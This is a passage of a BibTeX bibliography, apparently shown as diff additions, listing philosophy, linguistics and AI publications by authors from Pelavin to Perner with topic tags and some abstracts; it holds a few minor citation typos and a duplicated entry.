{Richard N. Pelavin}, + title = {Planning With Simultaneous Actions and External Events}, + institution = {Computer Science Department, University of + Rochester}, + number = {254}, + year = {1988}, + address = {Rochester, NY}, + topic = {planning;concurrent-actions;} + } + +@incollection{ pelavin:1991a, + author = {Richard N. Pelavin}, + title = {Planning With Simultaneous Actions and External Events}, + booktitle = {Reasoning about Plans}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Henry Kautz and Richard Pelavin and + Joshua Tennenberg}, + pages = {127--211}, + address = {Francisco, California}, + topic = {planning;concurrent-actions;} + } + +@article{ pelczar:2000a, + author = {Michael Pelczar}, + title = {Wittgensteinian Semantics}, + journal = {No\^us}, + year = {2000}, + volume = {34}, + number = {4}, + pages = {483--516}, + topic = {ambiguity;indexicals;Wittgenstein;family-resenblance;} + } + +@article{ pelletier:1974a, + author = {Francis Jeffrey Pelletier}, + title = {On Some Proposals for the Semantics of Mass Nouns}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {1--2}, + pages = {87--108}, + topic = {nl-semantics;mass-term-semantics;} + } + +@article{ pelletier:1977a, + author = {Francis Jeffrey Pelletier}, + title = {Or}, + journal = {Theoretical Linguistics}, + year = {1977}, + volume = {4}, + number = {1/2}, + pages = {60--74}, + topic = {disjunction-in-nl;ambiguity;} + } + +@article{ pelletier:1977b, + author = {Francis Jeffrey Pelletier}, + title = {How/Why Does Linguistics Matter to Philosophy? A Critical + Notice of Some Recent Works on the Borderline of + Linguistics and Philosophy}, + journal = {The Southern Journal of Philosophy}, + year = {1977}, + volume = {15}, + number = {3}, + pages = {393--426}, + topic = {philosophy-of-language;philosophy-and-linguistics;} + } + +@book{ pelletier:1979a, + editor = {Francis Jeffrey Pelletier}, + title = {Mass Terms: Some Philosophical Problems}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + address = {Dordrecht}, + contentnote = {TC: + 1. Francis Jeffry Pelletier, "Non-Singular Reference: Some + Preliminaries" + 2. Robert X. Ware, "Some Bits and Pieces" + 3. Helen M. Cartwright, "Some Remarks about Mass Nouns and Plurality" + 4. Francis Jeffry Pelletier, "Sharvy on Mass Predication" + 5. Eddy M. Zemach, "Four Ontologies" + 6. Eddy M. Zemach, "On the Adequacy of a Type Ontology" + 7. Henry Laycock, "Theories of Matter" + 8. Kathleen C. Cook, "On the Usefulness of Quantities" + 9. Terence Parsons, "An Analysis of Mass Terms and Amount Terms" + 10. Terence Parsons, "Afterthoughts on Mass Terms" + 11. Richard Montague, "The Proper Treatment of Mass Terms in English" + 12. Heken M. Cartwright, "Amounts and Measures of Amount" + 13. Tyler Burge, "Mass Terms, Count Nouns, and Change" + 14. Richard E. Grandy, "Stuff and Things" + 15. Brian F. Chellas, "Quantity and Quantification" + 16. Dov Gabbay and Julius M.E. Moravcsik, "Sameness and Individuation" + 17. H.C Bunt, "Ensembles and the Formal Properties of Mass Terms" + 18. George Bealer, "Predication and Matter" + 19. Francis Jeffry Pelletier, "A Bibliography of Recent + Work on Mass Terms" + } , + topic = {mass-terms;} + } + +@article{ pelletier:1980a, + author = {Francis Jeffrey Pelletier}, + title = {Review of {\it Why Does Language Matter to Philosophy}, by + {I}an {H}acking}, + journal = {Linguistics and Philosophy}, + year = {1980}, + volume = {3}, + number = {3}, + pages = {429--436}, + xref = {Review of hacking:1975a.}, + topic = {philosophy-of-language;poststructuralism;} + } + +@article{ pelletier:1982a, + author = {Francis Jeffrey Pelletier}, + title = {(X)}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1982}, + volume = {23}, + number = {3}, + pages = {316--326}, + topic = {foundations-of-semantics;} + } + +@article{ pelletier:1986a, + author = {Francis Jeffrey Pelletier}, + title = {Seventy-Five Problems for Testing Automatic Theorem + Provers}, + journal = {Journal of Automated Reasoning}, + year = {1986}, + volume = {2}, + pages = {191--216}, + topic = {theorem-proving;} + } + +@article{ pelletier:1988a, + author = {Francis Jeffrey Pelletier}, + title = {Vacuous Relatives and the (Non)-Context-Freeness + of {E}nglish}, + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {3}, + pages = {255--260}, + xref = {Commentary: manasterramer:1991a.}, + topic = {nl-syntax;formal-language-theory;} + } + +@incollection{ pelletier-schubert:1989a, + author = {Francis Jeffrey Pelletier and Lenhart Schubert}, + title = {Mass Expressions}, + booktitle = {Handbook of Philosophical Logic, Volume 4}, + publisher = {D. Reidel Publishing Co.}, + year = {1989}, + editor = {Dov Gabbay and Franz Guenthner}, + pages = {327--407}, + address = {Dordrecht}, + topic = {nl-semantics;mass-terms;} + } + +@incollection{ pelletier:1991a, + author = {Francis Jeffry Pelletier}, + title = {Mass Terms}, + booktitle = {Handbook of Metaphysics and Ontology}, + publisher = {Philosophia Verlag}, + year = {1991}, + editor = {Hans Burkhardt and Barry Smith}, + pages = {495--499}, + address = {Munich}, + topic = {mass-term-semantics;} + } + +@unpublished{ pelletier:1994a, + author = {Francis Jeffrey Pelletier}, + title = {On an Argument Against Semantic Compositionality}, + year = {1994}, + note = {Forthcoming in D. Prawitz and D. {Westerst\"ahl}, eds., + Logic, Methodology, and Philosophy of Science, Kluwer.}, + topic = {semantic-compositionality;} + } + +@unpublished{ pelletier:1994b, + author = {Francis Jeffrey Pelletier}, + title = {The Principle of Semantic Compositionality}, + year = {1994}, + note = {Forthcoming, {\it Topoi}}, + topic = {nl-semantics;semantic-compositionality;} + } + +@unpublished{ pelletier:1994c, + author = {Francis Jeffrey Pelletier}, + title = {Semantic Compositionality: the Argument from Mind}, + year = {1994}, + note = {Unpublished manuscript.}, + topic = {nl-semantics;semantic-compositionality;} + } + +@article{ pelletier-elio:1997a, + author = {Francis Jeffrey Pelletier and Ren\'ee Elio}, + title = {What Should Default Reasoning Be, by Default?}, + journal = {Computational Intelligence}, + year = {1997}, + volume = {13}, + number = {2}, + pages = {165--187}, + topic = {nonmonotonic-reasoning;} + } + +@article{ pelletier:1999a, + author = {Francis Jeffrey Pelletier}, + title = {A Brief History of Natural Deduction?}, + journal = {History and Philosophy of Logic}, + year = {1999}, + volume = {20}, + pages = {1--31}, + topic = {history-of-logic;natural-deduction;} + } + +@article{ pelletier:2000a, + author = {Francis Jeffrey Pelletier}, + title = {Review of {\it Metamathematics of Fuzzy Logic}, by + {P}etr {H}\'ajek}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {6}, + number = {3}, + pages = {342--346}, + xref = {Review of: hajek_p:1998a.}, + topic = {fuzzy-logic;} + } + +@article{ pelletier:2001a, + author = {Francis Jeffry Pelletier}, + title = {Did {F}rege Believe {F}rege's Principle?}, + journal = {Journal of Logic, Language, and Information}, + year = {2001}, + volume = {10}, + number = {1}, + pages = {87--114}, + topic = {compositionality;Frege;foundations-of-semantics;} + } + +@article{ pemberton-zhang_wx:1996a, + author = {Joseph C. Pemberton and Weixiong Zhang}, + title = {Epsilon-Transformation: Exploiting Phase Transitions to + Solve Combinatorial Optimization Problems}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {81}, + number = {1--2}, + pages = {297--325}, + topic = {search;experiments-on-theorem-proving-algs; + computational-phase-transitions;} + } + +@incollection{ penberthy-weld:1992a, + author = {J. Scott Penberthy and Daniel S. Weld}, + title = {{UCPOP}: A Sound, Complete, Partial Order Planner + for {ADL}}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {103--114}, + address = {San Mateo, California}, + topic = {planning-algorithms;} + } + +@incollection{ penco:1999a, + author = {Carlo Penco}, + title = {Objective and Cognitive Context}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {270--283}, + address = {Berlin}, + topic = {context;philosophy-of-language;} + } + +@incollection{ penco:2001a, + author = {Carlo Penco}, + title = {Local Holism}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {290--303}, + address = {Berlin}, + topic = {context;holism;philosophy-of-language;} + } + +@incollection{ penco:forthcominga, + author = {Carlo Penco}, + title = {Holism in A.I.?}, + booktitle = {Philosophy of Science in Florence}, + publisher = {Kluwer}, + year = {forthcoming}, + editor = {Maria L. Dalla Chiara and R. Giuntini and F. Laudisa}, + address = {Dordrecht}, + missinginfo = {E's 1st name, pages, date}, + note = {Longer version available at +http://www.lettere.unige.it/sif/strutture/9/epi/hp/penco/pubbli/holism.htm.}, + topic = {context;} + } + +@phdthesis{ pendelbury:1980a, + author = {Michael J. Pendelbury}, + title = {Believing}, + school = {Philosophy Department, University of Indiana}, + year = {1980}, + type = {Ph.{D}. Dissertation}, + address = {Bloomington, Indiana}, + topic = {propositional-attitudes;belief;} + } + +@article{ pendelbury:1987a, + author = {Michael Pendelbury}, + title = {Stalnaker on Inquiry}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {3}, + pages = {229--272}, + xref = {Review of stalnaker:1984a.}, + topic = {foundations-of-modality;propositional-attitudes;belief-revision; + pragmatics;agent-attitudes;belief;} + } + +@unpublished{ pendelbury:1990a, + author = {Michael Pendelbury}, + title = {The Projection Strategy and the Truth Conditions of + Conditional Statements}, + year = {1990}, + note = {Unpublished manuscript.}, + topic = {conditionals;} + } + +@article{ peng-reggia:1987a, + author = {Yun Peng and James A. Reggia}, + title = {A Probabilistic Causal Model for Diagnostic Problem + Solving, Part {I}: Integrating Symbolic Causal Inference with + Numeric Probabilistic Inference}, + journal = {{IEEE} Transactions on Systems, Man, and Cybernetics}, + year = {1987}, + volume = {SMC-17}, + number = {2}, + pages = {146--162}, + topic = {abduction;} + } + +@article{ peng-reggia:1987b, + author = {Yun Peng and James A. Reggia}, + title = {A Probabilistic Causal Model for Diagnostic Problem + Solving---Part {II}: Diagnostic Strategy}, + journal = {{IEEE} Transactions on Systems, Man, and Cybernetics}, + year = {1987}, + volume = {SMC-17}, + number = {3}, + pages = {395--406}, + topic = {abduction;} + } + +@book{ peng-reggia:1990a, + author = {Yun Peng and James A. Reggia}, + title = {Abductive Inference Models For Diagnostic + Problem-Solving}, + publisher = {Springer-Verlag}, + year = {1990}, + address = {Berlin}, + ISBN = {0387973435 (paper)}, + topic = {abduction;diagnosis;} + } + +@inproceedings{ penn-thomason_rh:1994a, + author = {Gerald Penn and Richmond H. Thomason}, + title = {Default Finite State Machines and Finite State Phonology}, + booktitle = {Computational Phonology: First Meeting of the {ACL} Special + Interest Group in Computational Phonology}, + year = {1994}, + editor = {Steven Bird}, + pages = {33--42}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Bernardsville, New Jersey}, + topic = {two-level-phonology;default-finite-state-machines;} + } + +@article{ penn:2000a, + author = {Gerald Penn}, + title = {Review of {\it The Mathematics of Syntactic Structures: + Trees and Their Logics}, edited by {H}ans-{P}eter {K}olb and + {U}we {M}\"onnich}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {274--276}, + xref = {Review of: kolb-monnich:1999a.}, + topic = {mathematical-linguistics;} + } + +@article{ pennanen:1986a, + author = {Esko V. Pennanen}, + title = {On the So-Called Curative Verbs in {F}innish}, + journal = {Finnish-urgrische {F}orschungen}, + year = {1986}, + volume = {47}, + pages = {163--182}, + topic = {nl-causatives;Finnish-language;} + } + +@book{ pennock:1999a, + author = {Robert T. Pennock}, + title = {Tower of {B}abel: The Evidence against the New + Creationism}, + publisher = {The {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-66165-9}, + topic = {creationism;} + } + +@incollection{ penrose:1988a, + author = {Roger Penrose}, + title = {On the Physics and Mathematics of + Thought}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {491--522}, + address = {Oxford}, + topic = {foundations-of-computation;foundations-of-cognition;} + } + +@book{ penrose:1989a, + author = {Roger Penrose}, + title = {The Emperor's New Mind}, + publisher = {Oxford University Press}, + year = {1989}, + address = {Oxford}, + xref = {Reviews: sloman:1992a.}, + topic = {foundations-of-cognition;goedels-first-theorem; + goedels-second-theorem;philosophy-of-computation;} + } + +@incollection{ penrose:1993a, + author = {Roger Penrose}, + title = {Setting the Scene: The Claim and the + Issues}, + booktitle = {The Simulation of Human Intelligence}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {Donald Broadbent}, + pages = {1--32}, + address = {Oxford}, + topic = {foundations-of-AI;} + } + +@book{ penrose:1994a, + author = {Roger Penrose}, + title = {Shadows of the Mind: A Search for the Missing Science of + Consciousness}, + publisher = {Oxford University Press}, + year = {1994}, + address = {Oxford}, + topic = {foundations-of-cognition;goedels-first-theorem; + goedels-second-theorem;philosophy-of-computation;} + } + +@incollection{ penrose:1994b, + author = {Roger Penrose}, + title = {Mathematical Intelligence}, + booktitle = {What is Intelligence?}, + publisher = {Cambridge University Press}, + year = {1994}, + editor = {Jean Khalfa}, + pages = {107--136}, + address = {Cambridge, England}, + topic = {mathematical-reasoning;foundations-of-computation; + goedels-first-theorem;goedels-second-theorem;} + } + +@article{ penther:1994a, + author = {Brigitte Penther}, + title = {A Dynamic Logic of Action}, + journal = {Journal of Logic, Language, and Information}, + year = {1994}, + volume = {3}, + number = {3}, + pages = {169--210}, + contentnote = {This formalism appears to be heavily influenced by dynamic + logic; there seems to be no influence from the branching time + approaches or the AI formalism. Read this. Take to MT 97.}, + topic = {dynamic-logic;action;action-formalisms;nondeterministic-action;} + } + +@article{ pentland:1986a, + author = {Alex P. Pentland}, + title = {Shading into Texture}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {29}, + number = {2}, + pages = {147--170}, + topic = {computer-vision;texture;} + } + +@article{ pentland:1986b, + author = {Alex P. Pentland}, + title = {Perceptual Organization and the Representation of Natural + Form}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {28}, + number = {3}, + pages = {293--331}, + acontentnote = {Abstract: + To support our reasoning abilities perception must recover + environmental regularities -- e.g., rigidity, ``objectness'', + axes of symmetry -- for later use by cognition. To create a + theory of how our perceptual apparatus can produce meaningful + cognitive primitives from an array of image intensities we + require a representation whose elements may be lawfully related + to important physical regularities, and that correctly describes + the perceptual organizanion people impose on the stimulus. + Unfortunately, the representations that are currently available + were originally developed for other purposes (e.g., physics, + engineering) and have so far proven unsuitable for the problems + of perception or common-sense reasoning. In answer to this + problem we present a representation that has proven competent to + accurately describe an extensive variety of natural forms (e.g., + people, mountains, clouds, trees), as well as man-made forms, in + a succinct and nanural manner. The approach taken in this + representational system is to describe scene structure at a + scale that is similar to our naive perceptual notion of ``a + part'', by use of descriptions that reflect a possible formative + history of the object, e.g., how the object might have been + constructed from lumps of clay. For this representation to be + useful it must be possible to recover such descriptions from + image data; we show that the primitive elements of such + descriptions may be recovered in an overconstrained and + therefore reliable manner. We believe that this descriptive + system makes an important contribution towards solving current + problems in perceiving and reasoning about natural forms by + allowing us to construct accurate descriptions that are + extremely compact and that capture people's intuitive notions + about the part structure of three-dimensional forms. } , + topic = {spatial-reasoning;spatial-representation;} + } + +@article{ pentus:1995a, + author = {Mati Pentus}, + title = {The Conjoinability Relation in {L}ambek Calculus and + Linear Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {4}, + number = {2}, + pages = {121--140}, + topic = {Lambek-calculus;linear-logic;} + } + +@article{ pentus:1997a, + author = {Mati Pentus}, + title = {Product-Free {L}ambek Calculus and Context-Free Grammars}, + journal = {The Journal of Symbolic Logic}, + year = {1997}, + volume = {62}, + number = {2}, + pages = {648--660}, + topic = {Lambek-calculus;context-free-grammars;} + } + +@article{ pentus:1999a, + author = {Mati Pentus}, + title = {Review of {\it Type-Logical Semantics}, by {B}ob {C}arpenter}, + journal = {Journal of Symbolic Logic}, + year = {1999}, + volume = {64}, + number = {4}, + pages = {1835--1836}, + xref = {Review of carpenter:1998a.}, + topic = {categorial-grammar;nl-semantics;} + } + +@article{ peot-shachter:1991a, + author = {Mark A. Peot and Ross D. Shachter}, + title = {Fusion and Propagation with Multiple Observations in + Belief Networks}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {48}, + number = {3}, + pages = {299--318}, + topic = {Bayesian-statistics;} + } + +@inproceedings{ peppas-wobcke:1989a, + author = {Pavlos Peppas and Wayne Wobcke}, + title = {On the Use of Epistemic Entrenchment in Reasoning + about Action}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {324--332}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, CA}, + topic = {planning;} + } + +@article{ peppas-etal:2001a, + author = {Pavlos Peppas and Costas D. Kouras and Mary-Anne Williams}, + title = {Prolegomena to Concise Theories of Action}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {3}, + pages = {403--418}, + topic = {frame-problem;action-formalisms;} + } + +@incollection{ pequeno-buchsbaum:1991a, + author = {Tarcisio Pequeno and Arthur Buchsbaum}, + title = {The Logic of Epistemic Inconsistency}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {453--460}, + address = {San Mateo, California}, + topic = {kr;hyperintensionality;kr-course;} + } + +@article{ percus:2000a, + author = {Orin Percus}, + title = {Constraints on Some Other Variables in Syntax}, + journal = {Natural Language Semantics}, + year = {2000}, + volume = {8}, + number = {3}, + pages = {173--229}, + topic = {nl-syntax;syntactic-binding;possible-worlds-semantics;} + } + +@incollection{ percus:2002a, + author = {Orin Percus}, + title = {Modelling the Common Ground: The Relevance of Copular + Questions}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {133--140}, + address = {Edinburgh}, + topic = {nl-semantics;interrogatives;individuation;} + } + +@incollection{ pereboom:2000a, + author = {Derk Pereboom}, + title = {Alternative Possibilities and Causal Histories}, + booktitle = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {James E. Tomberlin}, + pages = {119--137}, + address = {Oxford}, + topic = {freedom;(in)determinism;} + } + +@article{ peregrin:1998a, + author = {Jaroslav Peregrin}, + title = {Linguistics and Philosophy}, + journal = {Theoretical Linguistics}, + year = {1998}, + volume = {24}, + number = {2/3}, + pages = {245--264}, + topic = {philosophy-and-linguistics;} + } + +@article{ peregrin:2000a, + author = {Jaroslav Peregrin}, + title = {The `Natural' and the `Formal'\, } , + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {1}, + pages = {75--101}, + topic = {philosophy-of-logic;analyticity;} + } + +@article{ pereira_f-warren:1980a, + author = {Fernando C.N. Pereira and David H.D. Warren}, + title = {Definite Clause Grammars for Language Analysis---A + Survey of the Formalism and a Comparison with + Augmented Transition Networks}, + journal = {Artificial Intelligence } , + year = {1980}, + volume = {13}, + number = {3}, + pages = {231--278}, + topic = {definite-clause-grammars;} +} + +@techreport{ pereira_f:1983a, + author = {Fernando Pereira}, + title = {Logic for Natural Language Analysis}, + institution = {SRI International}, + number = {Technical Note 275}, + year = {1983}, + address = {Menlo Park, CA}, + topic = {nl-semantics;nl-processing;} + } + +@book{ pereira_f-shieber:1987a, + author = {Fernando C.N. Pereira and Stuart N. Shieber}, + title = {Prolog and Natural-Language Analysis}, + publisher = {Center for the Study of Language and Information}, + year = {1987}, + address = {Stanford, California}, + xref = {Review: shankar:1989a.}, + topic = {prolog;nlp-programming;nl-processing;} + } + +@article{ pereira_f-pollack_me:1991a, + author = {Martha Pollack}, + title = {Incremental Interpretation}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {50}, + number = {1}, + pages = {37--82}, + topic = {parsing-algorithms;context;} + } + +@article{ pereira_f-grosz:1993a, + author = {Fernando C.N. Pereira and Barbara J. Grosz}, + title = {Introduction}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {63}, + number = {1--2}, + pages = {1--15}, + topic = {nl-processing;} + } + +@inproceedings{ pereira_f-etal:1995a, + author = {Fernando Pereira et al.}, + title = {Beyond Word N-Grams}, + booktitle = {Proceedings of the Third Workshop on Very + Large Corpora}, + year = {1995}, + editor = {David Yarovsky and Kenneth Church}, + pages = {95--106}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {corpus-linguistics;corpus-statistics; + word-sequence-probabilities;} + } + +@article{ perigran:2000a, + author = {Jaroslav Perigran}, + title = {The `Natural' and the `Formal'\, } , + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {1}, + pages = {75--101}, + topic = {philosophy-of-logic;} + } + +@book{ perinbanayagam:1991a, + author = {R.S. Perinbanayagam}, + title = {Discursive Acts}, + publisher = {Aldine de Gruyter}, + year = {1991}, + address = {New York}, + topic = {discourse-analysis;} +} + +@article{ perkins:1965a, + author = {Moreland Perkins}, + title = {Two Arguments Against a Private Language}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {17}, + pages = {443--459}, + topic = {private-language;} + } + +@article{ perkins:1995a, + author = {David Perkins}, + title = {An Unfair Review of {M}argaret {B}oden's {\it The Creative + Mind from the Perspective of Creative Systems}}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {79}, + number = {1}, + pages = {97--109}, + xref = {Review of boden:1990a.}, + topic = {creativity;} + } + +@article{ perkowitz-etzioni:2000a, + author = {Mike Perkowitz and Oren Etzioni}, + title = {Towards Adaptive Web Sites: Conceptual Framework and Case + Study}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {118}, + number = {1--2}, + pages = {245--275}, + acontentnote = {Abstract: + Today's Web sites are intricate but not intelligent; while Web + navigation is dynamic and idiosyncratic, all too often Web sites + are fossils cast in HTML. In response, this paper investigates + adaptive Web sites: sites that automatically improve their + organization and presentation by learning from visitor access + patterns. Adaptive Web sites mine the data buried in Web server + logs to produce more easily navigable Web sites. + To demonstrate the feasibility of adaptive Web sites, the paper + considers the problem of index page synthesis and sketches a + solution that relies on novel clustering and conceptual + clustering techniques. Our preliminary experiments show that + high-quality candidate index pages can be generated + automatically, and that our techniques outperform existing + methods (including the Apriori algorithm, K-means clustering, + hierarchical agglomerative clustering, and COBWEB) in this + domain.}, + topic = {machine-learning;adaptive-web-sites;AI-and-the-internet; + data-mining;} + } + +@article{ perlin:1992a, + author = {Mark Perlin}, + title = {Arc Consistency for Factorable Relations}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {53}, + number = {2--3}, + pages = {329--342}, + acontentnote = {Abstract: + An optimal arc consistency algorithm AC-4 was given by Mohr and + Henderson [8]. AC-4 has cost O(ed2), and cost (nd2) for scene + labelling. Although their algorithm is indeed optimal, under + certain conditions a constraint satisfaction problem can be + transformed into a less complex problem. In this paper, we + present conditions and mechanisms for such representational + transformations, and show how to factor relations into more + manageable components. We describe how factorization can reduce + AC-4's cost to O(ed), and apply this result to Rete match. + Further, with our factorization, the cost of scene labelling is + reduced to O(nd). } , + topic = {arc-(in)consistency;constraint-satisfaction;} + } + +@article{ perlis:1985a, + author = {Donald Perlis}, + title = {Languages With Self-Reference {I}: Foundations (Or: We Can + Have Everything in First-Order Logic!)}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {3}, + pages = {301--322}, + topic = {self-reference;semantic-paradoxes;} + } + +@unpublished{ perlis:1986a, + author = {Donald Perlis}, + title = {Self-Reference, Knowledge, Belief, and Modality}, + year = {1986}, + note = {Unpublished manuscript, University of Maryland}, + missinginfo = {Year is a guess.}, + topic = {self-reference;semantic-paradoxes;} + } + +@article{ perlis-minker_j:1986a, + author = {Donald Perlis and Jack Minker}, + title = {Completeness Results for Circumscription}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {28}, + number = {1}, + pages = {29--42}, + topic = {circumscription;completeness-theorems;} + } + +@article{ perlis:1987a1, + author = {Donald Perlis}, + title = {On the Consistency of Commonsense Reasoning}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {28}, + pages = {29--42}, + missinginfo = {number}, + xref = {Republication: perlis:1987a1.}, + topic = {common-sense;} + } + +@incollection{ perlis:1987a2, + author = {Donald Perlis}, + title = {On the Consistency of Commonsense Reasoning}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {56--66}, + address = {Los Altos, California}, + xref = {Republication of: perlis:1987a1.}, + topic = {nonmonotonic-logic;nonmonotonic-reasoning;} + } + +@incollection{ perlis:1987b, + author = {Donald Perlis}, + title = {A Bibliography of Literature on Non-Monotonic + Reasoning}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {466--477}, + address = {Los Altos, California}, + topic = {nonmonotonic-logic;nonmonotonic-reasoning;} + } + +@article{ perlis:1987c, + author = {Donald Perlis}, + title = {Circumscribing with Sets}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {31}, + number = {2}, + pages = {201--211}, + topic = {circumscription;} + } + +@article{ perlis:1988a, + author = {Donald Perlis}, + title = {Languages with Self-Reference {II}: Knowledge, Belief, + and Modality}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {34}, + number = {2}, + pages = {179--212}, + topic = {self-reference;semantic-paradoxes;epistemic-logic;} + } + +@article{ perlis:1988b, + author = {Donald Perlis}, + title = {Autocircumscription}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {36}, + number = {2}, + pages = {223--236}, + topic = {circumscription;nonmonotonic-logic;} + } + +@techreport{ perlis-kraus:1988a, + author = {Donald Perlis and Sarit Kraus}, + title = {Names and Non-Monotonicity}, + institution = {Institute for Advanced Computer Studies, University of + Maryland}, + number = {TR--88--94}, + year = {1988}, + address = {College Park, Maryland}, + topic = {nm-ling;} + } + +@incollection{ perlis:1990a, + author = {Donald Perlis}, + title = {Thing and Thought}, + booktitle = {Knowledge Representation and Defeasible Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + editor = {Henry Kyburg and Ronald Loui and Greg Carlson}, + pages = {99--117}, + address = {Dordrecht}, + topic = {self-reference;semantic-paradoxes;} + } + +@unpublished{ perlis-purang:1996a, + author = {Donald Perlis and Khemdut Parang}, + title = {Conversational Adequacy: Mistakes are the Essence (Revised + Version)}, + year = {1996}, + note = {Unpublished manuscript, Department of Computer Science, + University of Maryland.}, + topic = {discourse;miscommunication;pragmatics;} + } + +@unpublished{ perlis-purang:1996b, + author = {Donald Perlis}, + title = {Sources of, and Exploiting, Inconsistency: Preliminary + Report}, + year = {1996}, + note = {Unpublished manuscript, Department of Computer Science, + University of Maryland.}, + topic = {common-sense-reasoning;inconsistency;} + } + +@inproceedings{ perlis:1999a, + author = {Don Perlis}, + title = {Status Report on Beliefs---Preliminary Version}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {reasoning-about-attitudes;belief;} + } + +@inproceedings{ perlis-etal:1999a, + author = {Donald Perlis and Khemdut Purang and Darsana + Purushothaman and Carl Anderson and David Traum}, + title = {Modeling Time and Meta-Reasoning in Dialogue via + Inductive Logic}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {93--99}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;active-logic;} + } + +@incollection{ perlis:2000a, + author = {Don Perlis}, + title = {The Role of Belief in {AI}}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {361--374}, + address = {Dordrecht}, + topic = {logic-in-AI;reasoning-about-attitudes;belief; + hyperintensionality;} + } + +@incollection{ perloff-wirth:1976a, + author = {Michael N. Perloff and Jessica R. Wirth}, + title = {On Independent Motivation}, + booktitle = {Assessing Linguistic Arguments}, + publisher = {Hemisphere Publishing Corporation}, + year = {1976}, + editor = {Jessica R. Wirth}, + pages = {95--110}, + address = {Washington, D.C.}, + topic = {philosophy-of-linguistics;foundations-of-linguistics;} + } + +@article{ perloff:1991a, + author = {Michael Perloff}, + title = {{\it Stit} and the Language of Agency}, + journal = {Synth\'ese}, + year = {1991}, + volume = {86}, + number = {3}, + pages = {379--408}, + topic = {agency;stit;} + } + +@article{ perner-garnham:1988a, + author = {Josef Perner and Alan Garnham}, + title = {Conditions for Mutuality}, + journal = {Journal of Semantics}, + year = {1988}, + volume = {6}, + number = {3/4}, + pages = {369--385}, + topic = {mutual-beliefs;} + } + +@book{ perner:1991a, + author = {Josef Perner}, + title = {Understanding the Representational Mind}, + publisher = {The {MIT} Press}, + year = {1991}, + address = {Cambridge, Massachusetts}, + topic = {folk-psychology;mental-simulation; + propositional-attitude-ascription;} + } + +@incollection{ perner-howes:1995a, + author = {Josef Perner and Deborrah Howes}, + title = {`{H}e Thinks He Knows': 